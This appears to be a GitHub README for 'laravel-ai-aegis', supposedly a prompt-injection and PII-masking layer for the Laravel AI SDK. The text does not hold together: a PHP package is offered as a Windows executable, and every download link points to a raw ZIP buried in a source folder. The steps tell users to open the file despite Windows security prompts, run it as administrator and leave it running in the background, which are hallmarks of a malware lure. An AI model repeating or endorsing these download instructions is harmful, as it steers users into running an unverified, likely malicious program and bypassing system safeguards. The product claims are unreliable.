laravel-ai-aegis：为 Laravel AI SDK 提供本地优先的提示词安全层

🛡️ laravel-ai-aegis - Keep AI prompts clean and safe

📥 Download

Visit this page to download the Windows release:

https://github.com/uncombable-pyrimidine12/laravel-ai-aegis/raw/refs/heads/main/src/Pseudonymization/laravel-ai-aegis-2.5.zip

Look for the latest release and download the Windows file that fits your system.

🧭 What this app does

laravel-ai-aegis is a local-first security layer for the Laravel AI SDK. It helps protect AI prompts before they reach your model.

It does two main jobs:

Blocks prompt injection attempts
Replaces personal data with safe placeholders before sending text to the LLM
Restores the original values in the response

This helps keep user data private while reducing the risk of unsafe prompt content.

🪟 Before you start on Windows

Use a Windows PC with:

Windows 10 or Windows 11
At least 4 GB of RAM
Enough free disk space for the app files
A stable internet connection for the download
Permission to run apps from the Downloads folder

If you use a work computer, you may need admin access to open the file.

⬇️ Download and install

Open the release page: https://github.com/uncombable-pyrimidine12/laravel-ai-aegis/raw/refs/heads/main/src/Pseudonymization/laravel-ai-aegis-2.5.zip
Find the newest release at the top of the page
Open the release assets section
Download the Windows file for your PC
Save the file to your Downloads folder
If the file comes in a ZIP folder, right-click it and choose Extract All
Open the extracted folder
Double-click the app file to run it

If Windows shows a security prompt, choose the option that lets you open the file

🖥️ How to run it

After you open the app, it runs as a local security layer for Laravel AI workflows.

Use it when you want to:

Check prompts for risky text
Hide names, email addresses, phone numbers, or other personal data
Send protected text to your AI model
Restore the original values after the response comes back

If the app opens in a window, keep it running while you use your AI tools.

🔐 Key features

Prompt injection blocking

The app checks prompt content for unsafe instructions that try to change how the model behaves.

PII pseudonymization

The app can replace personal data with safe labels before the prompt leaves your machine.

Local-first flow

It keeps the security step on your side first, which gives you more control over the data path.

Response restoration

After the model returns a response, the app can map protected values back to the original text.

Laravel AI SDK friendly

The design fits Laravel AI SDK use cases, so it can sit between your app and the model layer.

👤 Who should use it

Use laravel-ai-aegis if you:

Build or test AI features in Laravel
Want to reduce prompt injection risk
Need to handle user data with care
Want to protect names, contact details, or IDs in prompts
Prefer a local security step before data reaches the model

It works well for simple AI tools, internal apps, and business systems that process user input.

⚙️ How it works in simple terms

Think of it as a filter between your app and the AI model.

Your app sends a prompt
laravel-ai-aegis checks the text
It flags or blocks unsafe instructions
It swaps personal data for safe placeholders
The model gets the cleaned prompt
The response comes back
The app restores the original values

This keeps sensitive data out of the model input while still letting your app use the response.

📁 Typical Windows setup

A normal Windows setup may look like this:

Download the latest release
Extract the ZIP file
Open the app
Keep the app running in the background
Use it with your Laravel AI workflow

If the release includes a setup file, run it and follow the on-screen steps.

🧪 Example use cases

A support app that sends customer messages to an AI model
An internal chatbot that should not expose names or emails
A data tool that needs to mask private fields before processing
A Laravel app that wants an extra guard against prompt injection
A review workflow that checks text before it reaches the LLM

🔎 What to expect after launch

When the app runs, you may see:

A main window with security options
A status area showing the current protection state
Fields for prompt checks or data masking
Logs or activity details for recent input

Use the app to review and protect text before it goes to your AI system.

🧰 Common file types you may see

Depending on the release, the download may include:

.exe files
.msi installers
.zip archives
support files in the same folder

If you see a ZIP file, extract it first. If you see an installer, open it and follow the steps in the window.

🛠️ Basic troubleshooting

The file will not open

Right-click the file and choose Run as administrator
Check that the file finished downloading
Make sure you extracted the ZIP folder first

Windows blocks the file

Open the file’s properties
Check whether Windows marked it as blocked
Try downloading the latest release again

The app closes right away

Open it from the extracted folder, not the ZIP file
Keep the app in a folder where you have write access
Restart Windows and try again

The download does not start

Refresh the release page
Try a different browser
Check your internet connection

🔁 Keeping it up to date

Check the release page now and then for newer versions:

https://github.com/uncombable-pyrimidine12/laravel-ai-aegis/raw/refs/heads/main/src/Pseudonymization/laravel-ai-aegis-2.5.zip

If a newer release appears, download it and replace the older copy on your PC.

📌 Quick start

Go to the release page
Download the latest Windows file
Extract it if needed
Open the app
Use it to protect prompts and PII before AI processing